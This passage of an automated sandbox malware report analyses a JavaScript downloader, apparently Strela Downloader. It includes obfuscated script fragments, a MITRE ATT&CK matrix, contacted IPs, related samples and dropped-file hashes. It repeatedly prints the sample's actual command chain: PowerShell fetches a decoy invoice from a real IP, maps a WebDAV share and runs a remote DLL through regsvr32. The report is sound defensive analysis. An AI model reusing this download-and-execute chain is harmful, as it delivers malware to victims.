iqcmfqwuh + krawtzh + bujxgkiq + dnggnny + bpyecv + iokdb + ybikdjp + wigfmu + xmzogoo + dnggnny + ysjglli + njcnklyu + wigfmu + iqcmfqwuh + xmzogoo + krawtzh + wigfmu + ybikdjp + iqcmfqwuh + sjhmdrhkx + bujxgkiq + wigfmu + ybikdjp + dnggnny + ysjglli + utzitys + bujxgkiq + bouohmpur + ybikdjp + dnggnny + xmzogoo ) , 16 ) ;
Source: wscript.exe, 00000000.00000003.1661280108.000002C7685BA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: jbxhook_index_3 ( 304, jbxhook_index_1 ( 306, this[gweddrmt + teejmom + bouohmpur + krawtzh + sjhmdrhkx + vmcitl + iqcmfqwuh], gkxtyyobo + krawtzh + xmzogoo + ybikdjp + iqcmfqwuh + xmzogoo + arfko + uxffazya + nwbhav + xmzogoo + bouohmpur + iqcmfqwuh, gweddrmt + teejmom + bouohmpur + krawtzh + sjhmdrhkx + vmcitl + iqcmfqwuh + vcjmzicye + teejmom + gkxtsqno + xmzogoo + dnggnny + dnggnny ) , krawtzh + dzsmebnc + wigfmu, bouohmpur + lkckkj + llrljlm + bpyecv + pyeqm + bouohmpur + bpyecv + vmcitl + bujxgkiq + nqicxadyf + xmzogoo + krawtzh + ykozgmki + gkxtsqno + xmzogoo + dnggnny + dnggnny + vcjmzicye + xmzogoo + puidhy + xmzogoo + bpyecv + yurvgcp + gkxtyyobo + bujxgkiq + lkckkj + lkckkj + ybikdjp + wigfmu + llrljlm + bpyecv + sbwbl + njcnklyu + wigfmu + adhnc + bujxgkiq + wdide + xmzogoo + yurvgcp + gweddrmt + xmzogoo + uxffazya + kdrtpxf + xmzogoo + fchmp + dzsmebnc + xmzogoo + ykozgmki + iqcmfqwuh + bpyecv + yurvgcp + arfko + dzsmebnc + iqcmfqwuh + caslb + sjhmdrhkx + dnggnny + xmzogoo + bpyecv + plffvmjc + iqcmfqwuh + xmzogoo + lkckkj + vmcitl + plffvmjc + ysjglli + sjhmdrhkx + wigfmu + adhnc + bujxgkiq + sjhmdrhkx + bouohmpur + xmzogoo + vcjmzicye + vmcitl + llrljlm + eoziov + bpyecv + gkxtsqno + iqcmfqwuh + iqcmfqwuh + vmcitl + avgxuwcs + pyeqm + pyeqm + jhigg + xrmbna + eaftbasg + vcjmzicye + jhigg + fopag + eaftbasg + vcjmzicye + jhigg + vcjmzicye + rszfriydf + ucglumzb + vgbqfbezm + pyeqm + sjhmdrhkx + wigfmu + adhnc + bujxgkiq + sjhmdrhkx + bouohmpur + xmzogoo + vcjmzicye + vmcitl + gkxtsqno + vmcitl + sbwbl + ibsfn + ibsfn + ykozgmki + iqcmfqwuh + ybikdjp + krawtzh + iqcmfqwuh + bpyecv + plffvmjc + iqcmfqwuh + xmzogoo + lkckkj + vmcitl + plffvmjc + ysjglli + sjhmdrhkx + wigfmu + adhnc + bujxgkiq + sjhmdrhkx + bouohmpur + xmzogoo + vcjmzicye + vmcitl + llrljlm + eoziov + ibsfn + ibsfn + bouohmpur + lkckkj + llrljlm + bpyecv + pyeqm + bouohmpur + bpyecv + wigfmu + xmzogoo + iqcmfqwuh + bpyecv + dzsmebnc + ykozgmki + xmzogoo + bpyecv + ysjglli + ysjglli + jhigg + xrmbna + eaftbasg + vcjmzicye + jhigg + fopag + eaftbasg + vcjmzicye + jhigg + vcjmzicye + rszfriydf + ucglumzb + vgbqfbezm + bidlrc + elgcisr + elgcisr + elgcisr + elgcisr + ysjglli + llrljlm + ybikdjp + adhnc + nqicxadyf + nqicxadyf + nqicxadyf + krawtzh + bujxgkiq + bujxgkiq + iqcmfqwuh + ysjglli + ibsfn + ibsfn + bouohmpur + lkckkj + llrljlm + bpyecv + pyeqm + bouohmpur + bpyecv + krawtzh + xmzogoo + vwffxfpr + ykozgmki + adhnc + krawtzh + eaftbasg + rszfriydf + bpyecv + pyeqm + ykozgmki + bpyecv + ysjglli + ysjglli + jhigg + xrmbna + eaftbasg + vcjmzicye + jhigg + fopag + eaftbasg + vcjmzicye + jhigg + vcjmzicye + rszfriydf + ucglumzb + vgbqfbezm + bidlrc + elgcisr + elgcisr + elgcisr + elgcisr + ysjglli + llrljlm + ybikdjp + adhnc + nqicxadyf + nqicxadyf + nqicxadyf + krawtzh + bujxgkiq + bujxgkiq + iqcmfqwuh + ysjglli + sfgcv + fopag + ucglumzb + xrmbna + rszfriydf + asmzpnkuu + eaftbasg + elgcisr + xrmbna + rszfriydf + eaftbasg + asmzpnkuu + eaftbasg + sfgcv + vcjmzicye
Source: wscript.exe, 00000000.00000003.1661280108.000002C7685BA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: vmcitl = "h";
Source: wscript.exe, 00000000.00000002.1665557612.000002C766AB5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: vmcitl

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\64092738923736.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\64092738923736.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\64092738923736.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\64092738923736.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\64092738923736.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
12315203731832427262.js	5%	Virustotal		Browse

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/space	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/Prod.C:	edb.log.8.dr	false		high
http://crl.ver)	svchost.exe, 00000008.00000002.2948686049.000001D97E200000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.7.dr	false		high
https://g.live.com/odclientsettings/ProdV2.C:	edb.log.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2	edb.log.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96	svchost.exe, 00000008.00000003.1729373000.000001D97E512000.00000004.00000800.00020000.00000000.sdmp, edb.log.8.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000006.00000002.1727697952.000002453707C000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1727697952.000002453709D000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/space	net.exe, 00000006.00000002.1727697952.0000024537048000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6	svchost.exe, 00000008.00000003.1729373000.000001D97E512000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1587879
Start date and time:	2025-01-10 18:57:18 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 58s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	16
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	12315203731832427262.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/57@3/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 2.16.168.105, 2.16.168.107, 3.219.243.226, 3.233.129.217, 52.6.155.20, 52.22.41.97, 162.159.61.3, 172.64.41.3, 184.28.90.27, 2.22.50.144, 2.22.50.131, 23.209.209.135, 2.23.244.205, 172.202.163.200, 13.107.246.45
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, e4578.dscb.akamaiedge.net, a767.dspw65.akamai.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, ocsp.digicert.com, ssl-delivery.adobe.com.edgekey.net, a122.dscd.akamai.net, e16604.g.akamaiedge.net, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net, fs.microsoft.com, otelrules.azureedge.net, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com.delivery.microsoft.com, ctldl.windowsupdate.com, p13n.adobe.io, fe3cr.delivery.mp.microsoft.com, download.windowsupdate.com.edgesuite.net, ssl.adobe.com.edgekey.net, armmf.adobe.com, geo2.adobe.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
12:58:09	API Interceptor	24x Sleep call for process: powershell.exe modified
12:58:14	API Interceptor	1x Sleep call for process: net.exe modified
12:58:14	API Interceptor	2x Sleep call for process: svchost.exe modified
12:58:27	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	1732630681161426175.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2453210565523714481.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	13924233483066821789.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	19048239772762424923.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	7605302032554420656.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2808316613110627987.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1283220404157902514.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	461871411576525587.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2280028191949810979.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2153616741885716229.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	1732630681161426175.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2453210565523714481.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	13924233483066821789.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	19048239772762424923.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	241721637114311605.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	7605302032554420656.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2808316613110627987.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1283220404157902514.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	461871411576525587.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2280028191949810979.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	1.3073677664324233
Encrypted:	false
SSDEEP:	3072:5JCnRjDxImmaooCEYhlOe2Pp4mH45l6MFXDaFXpVv1L0Inc4lfEnogVsiJKrvrF:KooCEYhgYEL0In
MD5:	9383DE152248972EE111A34273EF3414
SHA1:	91FBD87D14CE07F03E997F3B8F32C7C4727E5758
SHA-256:	E44EAF83F8E4A8666E72D7434E7B490C2A74F07A2F14EEA621921D1AA301363E
SHA-512:	E314283D4D78036EFA778E01F1993CA3E9ABC3BD72DEE08B3DA9FB8183D70B51756D24EAC3163C9B2E63A4E65A35D7C32A412FF7574AE36040E6E38E8BC542BA
Malicious:	false
Preview:	z3..........@..@.;...{..................<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@..........................................#.................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x0da32746, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.4221452501789584
Encrypted:	false
SSDEEP:	1536:FvHSB2ESB2SSjlK/dvmdMrSU0OrsJzvdYkr3g16T2UPkLk+kTX/Iw4KKCzAkUk1w:FvHaza/vMUM2Uvz7DO
MD5:	14542B532E98E35E611B26FA0DCCD1AE
SHA1:	7E904EEBEE398C025B07834C7B128DC852DCAA19
SHA-256:	306D2DFFD96EDC618EE8A216E7D67E43CCF2853922B97F15E98D39290361C78D
SHA-512:	C5255D7BE0D02A80AFBE39207BBF12BBF09B68E41A73DD69C7BEB866ADFFB8A8530EB8136E626E5AC9C5F68A5409F23E97B0D0744A53F203AFC6EBD18E20E077
Malicious:	false
Preview:	..'F... .......A.......X\...;...{......................0.!..........{A..:...}E.h.#.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........;...{...............................................................................................................................................................................................2...{......................................:...}E..................K...:...}E..........................#......h.#.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.0769079774336845
Encrypted:	false
SSDEEP:	3:mGEYedeRZbjjn13a/KvkXtallcVO/lnlZMxZNQl:mdzdePbj53q0kYOewk
MD5:	7D661BA7AF07B273969C4AE729069AB7
SHA1:	EA3DF77633077F16A164587E11AB7CB71717EC7D
SHA-256:	52645D10AF95F7261DFA684E108F6157A6A1A2C6E7E5830DDACB382F333B2D95
SHA-512:	4A7C9B82B844C58DBEF8B95D350EC30F6EEA47475DEFD8881478467A5435D35E5605CABCC2FAAD26BA4F7603BDBF6310062568713B21BFF657E99E94A09E965F
Malicious:	false
Preview:	..[......................................;...{...:...}E......{A..............{A......{A..........{A].................K...:...}E.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.201838909250214
Encrypted:	false
SSDEEP:	6:iO4k2Gg9+q2Pwkn2nKuAl9OmbnIFUtSk2ggJZmwsk2gg9VkwOwkn2nKuAl9Ombjd:7pXvvYfHAahFUtrQ/1Y5JfHAaSJ
MD5:	1F824EE230497F5EE6581B46A70CEF9B
SHA1:	5192A1151C81E622D6D7347E24DC048C62CBDEF3
SHA-256:	9CD3BB2E67E2F48903CE9A9A286389FD43D81304742CD917ECA7C951EEA20857
SHA-512:	C137A70AF87BCE856C2C56FC04EFD394225DBBB1CBCD88B96542A37466D3C365D382C4A78E096302227DABA14B9EAF691BE6D8A0F6CF7E5E70474596DBB24C05
Malicious:	false
Preview:	2025/01/10-12:58:14.285 1bd8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-12:58:14.287 1bd8 Recovering log #3.2025/01/10-12:58:14.287 1bd8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.201838909250214
Encrypted:	false
SSDEEP:	6:iO4k2Gg9+q2Pwkn2nKuAl9OmbnIFUtSk2ggJZmwsk2gg9VkwOwkn2nKuAl9Ombjd:7pXvvYfHAahFUtrQ/1Y5JfHAaSJ
MD5:	1F824EE230497F5EE6581B46A70CEF9B
SHA1:	5192A1151C81E622D6D7347E24DC048C62CBDEF3
SHA-256:	9CD3BB2E67E2F48903CE9A9A286389FD43D81304742CD917ECA7C951EEA20857
SHA-512:	C137A70AF87BCE856C2C56FC04EFD394225DBBB1CBCD88B96542A37466D3C365D382C4A78E096302227DABA14B9EAF691BE6D8A0F6CF7E5E70474596DBB24C05
Malicious:	false
Preview:	2025/01/10-12:58:14.285 1bd8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-12:58:14.287 1bd8 Recovering log #3.2025/01/10-12:58:14.287 1bd8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.177831448874683
Encrypted:	false
SSDEEP:	6:iO4k2bUyq2Pwkn2nKuAl9Ombzo2jMGIFUtSk24KFz1Zmwsk24KFlRkwOwkn2nKuA:7pCJvYfHAa8uFUtrXKFz1/1XKFz5JfHA
MD5:	79DD3693DEBE531CE348E5C194817B47
SHA1:	08611D0D6A5E1F78F96E2AE7F268E774D88431DB
SHA-256:	61B019BA9C8B9CC3A9FECE4F23905A99B71016CA413A588F6BC1F269E54C1D6C
SHA-512:	D1A886DF153385A1ADC12B35D5B22869CB9468DDD92480F3F41B059491F33576125EACC1694AB2EABF4EA9265F784B6858A10BB2C609D0CEE605678B29F009B2
Malicious:	false
Preview:	2025/01/10-12:58:14.398 1c50 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-12:58:14.399 1c50 Recovering log #3.2025/01/10-12:58:14.399 1c50 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.177831448874683
Encrypted:	false
